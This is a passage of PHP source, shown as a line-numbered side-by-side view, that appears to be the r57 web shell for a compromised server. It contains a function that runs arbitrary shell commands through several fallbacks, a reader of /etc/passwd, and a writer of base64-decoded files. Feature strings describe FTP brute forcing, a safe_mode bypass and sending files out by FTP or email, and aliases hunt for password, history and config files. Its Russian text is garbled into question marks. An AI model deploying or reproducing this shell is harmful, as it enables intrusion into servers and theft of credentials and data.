| 797 | 'eng_text57'=>'Create/Delete File/Dir', | 797 | 'eng_text57'=>'Create/Delete File/Dir', |
| 798 | 'eng_text58'=>'name', | 798 | 'eng_text58'=>'name', |
| 799 | 'eng_text59'=>'file', | 799 | 'eng_text59'=>'file', |
| 800 | 'eng_text60'=>'dir', | 800 | 'eng_text60'=>'dir', |
| 801 | 'eng_butt13'=>'Create/Delete', | 801 | 'eng_butt13'=>'Create/Delete', |
| 802 | 'eng_text61'=>'File created', | 802 | 'eng_text61'=>'File created', |
| 803 | 'eng_text62'=>'Dir created', | 803 | 'eng_text62'=>'Dir created', |
| 804 | 'eng_text63'=>'File deleted', | 804 | 'eng_text63'=>'File deleted', |
| 805 | 'eng_text64'=>'Dir deleted', | 805 | 'eng_text64'=>'Dir deleted', |
| 806 | 'eng_text65'=>'Create', | 806 | 'eng_text65'=>'Create', |
| 807 | 'eng_text66'=>'Delete', | 807 | 'eng_text66'=>'Delete', |
| 808 | 'eng_text67'=>'Chown/Chgrp/Chmod', | 808 | 'eng_text67'=>'Chown/Chgrp/Chmod', |
| 809 | 'eng_text68'=>'Command', | 809 | 'eng_text68'=>'Command', |
| 810 | 'eng_text69'=>'param1', | 810 | 'eng_text69'=>'param1', |
| 811 | 'eng_text70'=>'param2', | 811 | 'eng_text70'=>'param2', |
| 812 | 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", | 812 | 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", |
| 813 | 'eng_text72'=>'Text for find', | 813 | 'eng_text72'=>'Text for find', |
| 814 | 'eng_text73'=>'Find in folder', | 814 | 'eng_text73'=>'Find in folder', |
| 815 | 'eng_text74'=>'Find in files', | 815 | 'eng_text74'=>'Find in files', |
| 816 | 'eng_text75'=>'* you can use regexp', | 816 | 'eng_text75'=>'* you can use regexp', |
| 817 | 'eng_text76'=>'Search text in files via find', | 817 | 'eng_text76'=>'Search text in files via find', |
| 818 | 'eng_text77'=>'Show database structure', | 818 | 'eng_text77'=>'Show database structure', |
| 819 | 'eng_text78'=>'show tables', | 819 | 'eng_text78'=>'show tables', |
| 820 | 'eng_text79'=>'show columns', | 820 | 'eng_text79'=>'show columns', |
| 821 | 'eng_text80'=>'Type', | 821 | 'eng_text80'=>'Type', |
| 822 | 'eng_text81'=>'Net', | 822 | 'eng_text81'=>'Net', |
| 823 | 'eng_text82'=>'Databases', | 823 | 'eng_text82'=>'Databases', |
| 824 | 'eng_text83'=>'Run SQL query', | 824 | 'eng_text83'=>'Run SQL query', |
| 825 | 'eng_text84'=>'SQL query', | 825 | 'eng_text84'=>'SQL query', |
| 826 | 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', | 826 | 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', |
| 827 | 'eng_text86'=>'Download files from server', | 827 | 'eng_text86'=>'Download files from server', |
| 828 | 'eng_butt14'=>'Download', | 828 | 'eng_butt14'=>'Download', |
| 829 | 'eng_text87'=>'Download files from remote ftp-server', | 829 | 'eng_text87'=>'Download files from remote ftp-server', |
| 830 | 'eng_text88'=>'FTP-server:port', | 830 | 'eng_text88'=>'FTP-server:port', |
| 831 | 'eng_text89'=>'File on ftp', | 831 | 'eng_text89'=>'File on ftp', |
| 832 | 'eng_text90'=>'Transfer mode', | 832 | 'eng_text90'=>'Transfer mode', |
| 833 | 'eng_text91'=>'Archivation', | 833 | 'eng_text91'=>'Archivation', |
| 834 | 'eng_text92'=>'without archivation', | 834 | 'eng_text92'=>'without archivation', |
| 835 | 'eng_text93'=>'FTP', | 835 | 'eng_text93'=>'FTP', |
| 836 | 'eng_text94'=>'FTP-bruteforce', | 836 | 'eng_text94'=>'FTP-bruteforce', |
| 837 | 'eng_text95'=>'Users list', | 837 | 'eng_text95'=>'Users list', |
| 838 | 'eng_text96'=>'Can\'t get users list', | 838 | 'eng_text96'=>'Can\'t get users list', |
| 839 | 'eng_text97'=>'checked: ', | 839 | 'eng_text97'=>'checked: ', |
| 840 | 'eng_text98'=>'success: ', | 840 | 'eng_text98'=>'success: ', |
| 841 | 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', | 841 | 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', |
| 842 | 'eng_text100'=>'Send file to remote ftp server', | 842 | 'eng_text100'=>'Send file to remote ftp server', |
| 843 | 'eng_text101'=>'Use reverse (user -> resu) login for password', | 843 | 'eng_text101'=>'Use reverse (user -> resu) login for password', |
| 844 | 'eng_text102'=>'Mail', | 844 | 'eng_text102'=>'Mail', |
| 845 | 'eng_text103'=>'Send email', | 845 | 'eng_text103'=>'Send email', |
| 846 | 'eng_text104'=>'Send file to email', | 846 | 'eng_text104'=>'Send file to email', |
| 847 | 'eng_text105'=>'To', | 847 | 'eng_text105'=>'To', |
| 848 | 'eng_text106'=>'From', | 848 | 'eng_text106'=>'From', |
| 849 | 'eng_text107'=>'Subj', | 849 | 'eng_text107'=>'Subj', |
| 850 | 'eng_butt15'=>'Send', | 850 | 'eng_butt15'=>'Send', |
| 851 | 'eng_text108'=>'Mail', | 851 | 'eng_text108'=>'Mail', |
| 852 | 'eng_text109'=>'Hide', | 852 | 'eng_text109'=>'Hide', |
| 853 | 'eng_text110'=>'Show', | 853 | 'eng_text110'=>'Show', |
| 854 | ); | 854 | ); |
| 855 | /* | 855 | /* |
| 856 | ?????? ?????? | 856 | ?????? ?????? |
| 857 | ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) | 857 | ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) |
| 858 | ?? ?????? ???? ????????? ??? ???????? ???????. | 858 | ?? ?????? ???? ????????? ??? ???????? ???????. |
| 859 | */ | 859 | */ |
| 860 | $aliases=array( | 860 | $aliases=array( |
| 861 | 'find suid files'=>'find / -type f -perm -04000 -ls', | 861 | 'find suid files'=>'find / -type f -perm -04000 -ls', |
| 862 | 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', | 862 | 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', |
| 863 | 'find sgid files'=>'find / -type f -perm -02000 -ls', | 863 | 'find sgid files'=>'find / -type f -perm -02000 -ls', |
| 864 | 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', | 864 | 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', |
| 865 | 'find config.inc.php files'=>'find / -type f -name config.inc.php', | 865 | 'find config.inc.php files'=>'find / -type f -name config.inc.php', |
| 866 | 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', | 866 | 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', |
| 867 | 'find config* files'=>'find / -type f -name "config*"', | 867 | 'find config* files'=>'find / -type f -name "config*"', |
| 868 | 'find config* files in current dir'=>'find . -type f -name "config*"', | 868 | 'find config* files in current dir'=>'find . -type f -name "config*"', |
| 869 | 'find all writable files'=>'find / -type f -perm -2 -ls', | 869 | 'find all writable files'=>'find / -type f -perm -2 -ls', |
| 870 | 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', | 870 | 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', |
| 871 | 'find all writable directories'=>'find / -type d -perm -2 -ls', | 871 | 'find all writable directories'=>'find / -type d -perm -2 -ls', |
| 872 | 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', | 872 | 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', |
| 873 | 'find all writable directories and files'=>'find / -perm -2 -ls', | 873 | 'find all writable directories and files'=>'find / -perm -2 -ls', |
| 874 | 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', | 874 | 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', |
| 875 | 'find all service.pwd files'=>'find / -type f -name service.pwd', | 875 | 'find all service.pwd files'=>'find / -type f -name service.pwd', |
| 876 | 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', | 876 | 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', |
| 877 | 'find all .htpasswd files'=>'find / -type f -name .htpasswd', | 877 | 'find all .htpasswd files'=>'find / -type f -name .htpasswd', |
| 878 | 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', | 878 | 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', |
| 879 | 'find all .bash_history files'=>'find / -type f -name .bash_history', | 879 | 'find all .bash_history files'=>'find / -type f -name .bash_history', |
| 880 | 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', | 880 | 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', |
| 881 | 'find all .mysql_history files'=>'find / -type f -name .mysql_history', | 881 | 'find all .mysql_history files'=>'find / -type f -name .mysql_history', |
| 882 | 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', | 882 | 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', |
| 883 | 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', | 883 | 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', |
| 884 | 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', | 884 | 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', |
| 885 | 'list file attributes on a Linux second extended file system'=>'lsattr -va', | 885 | 'list file attributes on a Linux second extended file system'=>'lsattr -va', |
| 886 | 'show opened ports'=>'netstat -an | grep -i listen', | 886 | 'show opened ports'=>'netstat -an | grep -i listen', |
| 887 | '----------------------------------------------------------------------------------------------------'=>'ls -la' | 887 | '----------------------------------------------------------------------------------------------------'=>'ls -la' |
| 888 | ); | 888 | ); |
| 889 | $table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; | 889 | $table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; |
| 890 | $table_up2 = " ::</div></b></font></td></tr><tr><td>"; | 890 | $table_up2 = " ::</div></b></font></td></tr><tr><td>"; |
| 891 | $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; | 891 | $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; |
| 892 | $table_end1 = "</td></tr>"; | 892 | $table_end1 = "</td></tr>"; |
| 893 | $arrow = " <font face=Wingdings color=gray>?</font>"; | 893 | $arrow = " <font face=Wingdings color=gray>?</font>"; |
| 894 | $lb = "<font color=black>[</font>"; | 894 | $lb = "<font color=black>[</font>"; |
| 895 | $rb = "<font color=black>]</font>"; | 895 | $rb = "<font color=black>]</font>"; |
| 896 | $font = "<font face=Verdana size=-2>"; | 896 | $font = "<font face=Verdana size=-2>"; |
| 897 | $ts = "<table class=table1 width=100% align=center>"; | 897 | $ts = "<table class=table1 width=100% align=center>"; |
| 898 | $te = "</table>"; | 898 | $te = "</table>"; |
| 899 | $fs = "<form name=form method=POST>"; | 899 | $fs = "<form name=form method=POST>"; |
| 900 | $fe = "</form>"; | 900 | $fe = "</form>"; |
| 901 | 901 | ||
| 902 | if(isset($_GET['users'])) | 902 | if(isset($_GET['users'])) |
| 903 | { | 903 | { |
| 904 | if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } | 904 | if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } |
| 905 | else | 905 | else |
| 906 | { | 906 | { |
| 907 | echo '<center>'; | 907 | echo '<center>'; |
| 908 | foreach($users as $user) { echo $user."<br>"; } | 908 | foreach($users as $user) { echo $user."<br>"; } |
| 909 | echo '</center>'; | 909 | echo '</center>'; |
| 910 | } | 910 | } |
| 911 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); | 911 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); |
| 912 | } | 912 | } |
| 913 | 913 | ||
| 914 | if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } | 914 | if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } |
| 915 | $dir = @getcwd(); | 915 | $dir = @getcwd(); |
| 916 | $windows = 0; | 916 | $windows = 0; |
| 917 | $unix = 0; | 917 | $unix = 0; |
| 918 | if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; | 918 | if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; |
| 919 | if(empty($dir)) | 919 | if(empty($dir)) |
| 920 | { | 920 | { |
| 921 | $os = getenv('OS'); | 921 | $os = getenv('OS'); |
| 922 | if(empty($os)){ $os = php_uname(); } | 922 | if(empty($os)){ $os = php_uname(); } |
| 923 | if(empty($os)){ $os ="-"; $unix=1; } | 923 | if(empty($os)){ $os ="-"; $unix=1; } |
| 924 | else | 924 | else |
| 925 | { | 925 | { |
| 926 | if(@eregi("^win",$os)) { $windows = 1; } | 926 | if(@eregi("^win",$os)) { $windows = 1; } |
| 927 | else { $unix = 1; } | 927 | else { $unix = 1; } |
| 928 | } | 928 | } |
| 929 | } | 929 | } |
| 930 | if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") | 930 | if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") |
| 931 | { | 931 | { |
| 932 | echo $head; | 932 | echo $head; |
| 933 | if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } | 933 | if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } |
| 934 | else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } | 934 | else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } |
| 935 | $sr->SearchText(0,0); | 935 | $sr->SearchText(0,0); |
| 936 | $res = $sr->GetResultFiles(); | 936 | $res = $sr->GetResultFiles(); |
| 937 | $found = $sr->GetMatchesCount(); | 937 | $found = $sr->GetMatchesCount(); |
| 938 | $titles = $sr->GetTitles(); | 938 | $titles = $sr->GetTitles(); |
| 939 | $r = ""; | 939 | $r = ""; |
| 940 | if($found > 0) | 940 | if($found > 0) |
| 941 | { | 941 | { |
| 942 | $r .= "<TABLE width=100%>"; | 942 | $r .= "<TABLE width=100%>"; |
| 943 | foreach($res as $file=>$v) | 943 | foreach($res as $file=>$v) |
| 944 | { | 944 | { |
| 945 | $r .= "<TR>"; | 945 | $r .= "<TR>"; |
| 946 | $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); | 946 | $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); |
| 947 | $r .= ($windows)? str_replace("/","\\",$file) : $file; | 947 | $r .= ($windows)? str_replace("/","\\",$file) : $file; |
| 948 | $r .= "</b></font></ TD>"; | 948 | $r .= "</b></font></ TD>"; |
| 949 | $r .= "</TR>"; | 949 | $r .= "</TR>"; |
| 950 | foreach($v as $a=>$b) | 950 | foreach($v as $a=>$b) |
| 951 | { | 951 | { |
| 952 | $r .= "<TR>"; | 952 | $r .= "<TR>"; |
| 953 | $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; | 953 | $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; |
| 954 | $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; | 954 | $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; |
| 955 | $r .= "</TR>\n"; | 955 | $r .= "</TR>\n"; |
| 956 | } | 956 | } |
| 957 | } | 957 | } |
| 958 | $r .= "</TABLE>"; | 958 | $r .= "</TABLE>"; |
| 959 | echo $r; | 959 | echo $r; |
| 960 | } | 960 | } |
| 961 | else | 961 | else |
| 962 | { | 962 | { |
| 963 | echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; | 963 | echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; |
| 964 | } | 964 | } |
| 965 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; | 965 | echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; |
| 966 | die(); | 966 | die(); |
| 967 | } | 967 | } |
| 968 | if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } | 968 | if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } |
| 969 | $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); | 969 | $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); |
| 970 | if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } | 970 | if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } |
| 971 | function ws($i) | 971 | function ws($i) |
| 972 | { | 972 | { |
| 973 | return @str_repeat(" ",$i); | 973 | return @str_repeat(" ",$i); |
| 974 | } | 974 | } |
| 975 | function ex($cfe) | 975 | function ex($cfe) |
| 976 | { | 976 | { |
| 977 | $res = ''; | 977 | $res = ''; |
| 978 | if (!empty($cfe)) | 978 | if (!empty($cfe)) |
| 979 | { | 979 | { |
| 980 | if(function_exists('exec')) | 980 | if(function_exists('exec')) |
| 981 | { | 981 | { |
| 982 | @exec($cfe,$res); | 982 | @exec($cfe,$res); |
| 983 | $res = join("\n",$res); | 983 | $res = join("\n",$res); |
| 984 | } | 984 | } |
| 985 | elseif(function_exists('shell_exec')) | 985 | elseif(function_exists('shell_exec')) |
| 986 | { | 986 | { |
| 987 | $res = @shell_exec($cfe); | 987 | $res = @shell_exec($cfe); |
| 988 | } | 988 | } |
| 989 | elseif(function_exists('system')) | 989 | elseif(function_exists('system')) |
| 990 | { | 990 | { |
| 991 | @ob_start(); | 991 | @ob_start(); |
| 992 | @system($cfe); | 992 | @system($cfe); |
| 993 | $res = @ob_get_contents(); | 993 | $res = @ob_get_contents(); |
| 994 | @ob_end_clean(); | 994 | @ob_end_clean(); |
| 995 | } | 995 | } |
| 996 | elseif(function_exists('passthru')) | 996 | elseif(function_exists('passthru')) |
| 997 | { | 997 | { |
| 998 | @ob_start(); | 998 | @ob_start(); |
| 999 | @passthru($cfe); | 999 | @passthru($cfe); |
| 1000 | $res = @ob_get_contents(); | 1000 | $res = @ob_get_contents(); |
| 1001 | @ob_end_clean(); | 1001 | @ob_end_clean(); |
| 1002 | } | 1002 | } |
| 1003 | elseif(@is_resource($f = @popen($cfe,"r"))) | 1003 | elseif(@is_resource($f = @popen($cfe,"r"))) |
| 1004 | { | 1004 | { |
| 1005 | $res = ""; | 1005 | $res = ""; |
| 1006 | while(!@feof($f)) { $res .= @fread($f,1024); } | 1006 | while(!@feof($f)) { $res .= @fread($f,1024); } |
| 1007 | @pclose($f); | 1007 | @pclose($f); |
| 1008 | } | 1008 | } |
| 1009 | } | 1009 | } |
| 1010 | return $res; | 1010 | return $res; |
| 1011 | } | 1011 | } |
| 1012 | function get_users() | 1012 | function get_users() |
| 1013 | { | 1013 | { |
| 1014 | $users = array(); | 1014 | $users = array(); |
| 1015 | $rows=file('/etc/passwd'); | 1015 | $rows=file('/etc/passwd'); |
| 1016 | if(!$rows) return 0; | 1016 | if(!$rows) return 0; |
| 1017 | foreach ($rows as $string) | 1017 | foreach ($rows as $string) |
| 1018 | { | 1018 | { |
| 1019 | $user = @explode(":",$string); | 1019 | $user = @explode(":",$string); |
| 1020 | if(substr($string,0,1)!='#') array_push($users,$user[0]); | 1020 | if(substr($string,0,1)!='#') array_push($users,$user[0]); |
| 1021 | } | 1021 | } |
| 1022 | return $users; | 1022 | return $users; |
| 1023 | } | 1023 | } |
| 1024 | function we($i) | 1024 | function we($i) |
| 1025 | { | 1025 | { |
| 1026 | if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } | 1026 | if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } |
| 1027 | else { $text = "[-] ERROR! Can't write in file "; } | 1027 | else { $text = "[-] ERROR! Can't write in file "; } |
| 1028 | echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; | 1028 | echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; |
| 1029 | return null; | 1029 | return null; |
| 1030 | } | 1030 | } |
| 1031 | function re($i) | 1031 | function re($i) |
| 1032 | { | 1032 | { |
| 1033 | if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } | 1033 | if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } |
| 1034 | else { $text = "[-] ERROR! Can't read file "; } | 1034 | else { $text = "[-] ERROR! Can't read file "; } |
| 1035 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; | 1035 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; |
| 1036 | return null; | 1036 | return null; |
| 1037 | } | 1037 | } |
| 1038 | function ce($i) | 1038 | function ce($i) |
| 1039 | { | 1039 | { |
| 1040 | if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } | 1040 | if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } |
| 1041 | else { $text = "Can't create "; } | 1041 | else { $text = "Can't create "; } |
| 1042 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; | 1042 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; |
| 1043 | return null; | 1043 | return null; |
| 1044 | } | 1044 | } |
| 1045 | function fe($l,$n) | 1045 | function fe($l,$n) |
| 1046 | { | 1046 | { |
| 1047 | $text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); | 1047 | $text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); |
| 1048 | $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); | 1048 | $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); |
| 1049 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; | 1049 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; |
| 1050 | return null; | 1050 | return null; |
| 1051 | } | 1051 | } |
| 1052 | function mr($l,$n) | 1052 | function mr($l,$n) |
| 1053 | { | 1053 | { |
| 1054 | $text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); | 1054 | $text['ru'] = array('?? ??????? ????????? ??????','?????? ??????????'); |
| 1055 | $text['eng'] = array('Can\'t send mail','Mail sent'); | 1055 | $text['eng'] = array('Can\'t send mail','Mail sent'); |
| 1056 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; | 1056 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; |
| 1057 | return null; | 1057 | return null; |
| 1058 | } | 1058 | } |
| 1059 | function perms($mode) | 1059 | function perms($mode) |
| 1060 | { | 1060 | { |
| 1061 | if ($GLOBALS['windows']) return 0; | 1061 | if ($GLOBALS['windows']) return 0; |
| 1062 | if( $mode & 0x1000 ) { $type='p'; } | 1062 | if( $mode & 0x1000 ) { $type='p'; } |
| 1063 | else if( $mode & 0x2000 ) { $type='c'; } | 1063 | else if( $mode & 0x2000 ) { $type='c'; } |
| 1064 | else if( $mode & 0x4000 ) { $type='d'; } | 1064 | else if( $mode & 0x4000 ) { $type='d'; } |
| 1065 | else if( $mode & 0x6000 ) { $type='b'; } | 1065 | else if( $mode & 0x6000 ) { $type='b'; } |
| 1066 | else if( $mode & 0x8000 ) { $type='-'; } | 1066 | else if( $mode & 0x8000 ) { $type='-'; } |
| 1067 | else if( $mode & 0xA000 ) { $type='l'; } | 1067 | else if( $mode & 0xA000 ) { $type='l'; } |
| 1068 | else if( $mode & 0xC000 ) { $type='s'; } | 1068 | else if( $mode & 0xC000 ) { $type='s'; } |
| 1069 | else $type='u'; | 1069 | else $type='u'; |
| 1070 | $owner["read"] = ($mode & 00400) ? 'r' : '-'; | 1070 | $owner["read"] = ($mode & 00400) ? 'r' : '-'; |
| 1071 | $owner["write"] = ($mode & 00200) ? 'w' : '-'; | 1071 | $owner["write"] = ($mode & 00200) ? 'w' : '-'; |
| 1072 | $owner["execute"] = ($mode & 00100) ? 'x' : '-'; | 1072 | $owner["execute"] = ($mode & 00100) ? 'x' : '-'; |
| 1073 | $group["read"] = ($mode & 00040) ? 'r' : '-'; | 1073 | $group["read"] = ($mode & 00040) ? 'r' : '-'; |
| 1074 | $group["write"] = ($mode & 00020) ? 'w' : '-'; | 1074 | $group["write"] = ($mode & 00020) ? 'w' : '-'; |
| 1075 | $group["execute"] = ($mode & 00010) ? 'x' : '-'; | 1075 | $group["execute"] = ($mode & 00010) ? 'x' : '-'; |
| 1076 | $world["read"] = ($mode & 00004) ? 'r' : '-'; | 1076 | $world["read"] = ($mode & 00004) ? 'r' : '-'; |
| 1077 | $world["write"] = ($mode & 00002) ? 'w' : '-'; | 1077 | $world["write"] = ($mode & 00002) ? 'w' : '-'; |
| 1078 | $world["execute"] = ($mode & 00001) ? 'x' : '-'; | 1078 | $world["execute"] = ($mode & 00001) ? 'x' : '-'; |
| 1079 | if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; | 1079 | if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; |
| 1080 | if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; | 1080 | if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; |
| 1081 | if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; | 1081 | if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; |
| 1082 | $s=sprintf("%1s", $type); | 1082 | $s=sprintf("%1s", $type); |
| 1083 | $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); | 1083 | $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); |
| 1084 | $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); | 1084 | $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); |
| 1085 | $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); | 1085 | $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); |
| 1086 | return trim($s); | 1086 | return trim($s); |
| 1087 | } | 1087 | } |
| 1088 | function in($type,$name,$size,$value) | 1088 | function in($type,$name,$size,$value) |
| 1089 | { | 1089 | { |
| 1090 | $ret = "<input type=".$type." name=".$name." "; | 1090 | $ret = "<input type=".$type." name=".$name." "; |
| 1091 | if($size != 0) { $ret .= "size=".$size." "; } | 1091 | if($size != 0) { $ret .= "size=".$size." "; } |
| 1092 | $ret .= "value=\"".$value."\">"; | 1092 | $ret .= "value=\"".$value."\">"; |
| 1093 | return $ret; | 1093 | return $ret; |
| 1094 | } | 1094 | } |
| 1095 | function which($pr) | 1095 | function which($pr) |
| 1096 | { | 1096 | { |
| 1097 | $path = ex("which $pr"); | 1097 | $path = ex("which $pr"); |
| 1098 | if(!empty($path)) { return $path; } else { return $pr; } | 1098 | if(!empty($path)) { return $path; } else { return $pr; } |
| 1099 | } | 1099 | } |
| 1100 | function cf($fname,$text) | 1100 | function cf($fname,$text) |
| 1101 | { | 1101 | { |
| 1102 | $w_file=@fopen($fname,"w") or we($fname); | 1102 | $w_file=@fopen($fname,"w") or we($fname); |
| 1103 | if($w_file) | 1103 | if($w_file) |
| 1104 | { | 1104 | { |
| 1105 | @fputs($w_file,@base64_decode($text)); | 1105 | @fputs($w_file,@base64_decode($text)); |
| 1106 | @fclose($w_file); | 1106 | @fclose($w_file); |
| 1107 | } | 1107 | } |
| 1108 | } | 1108 | } |
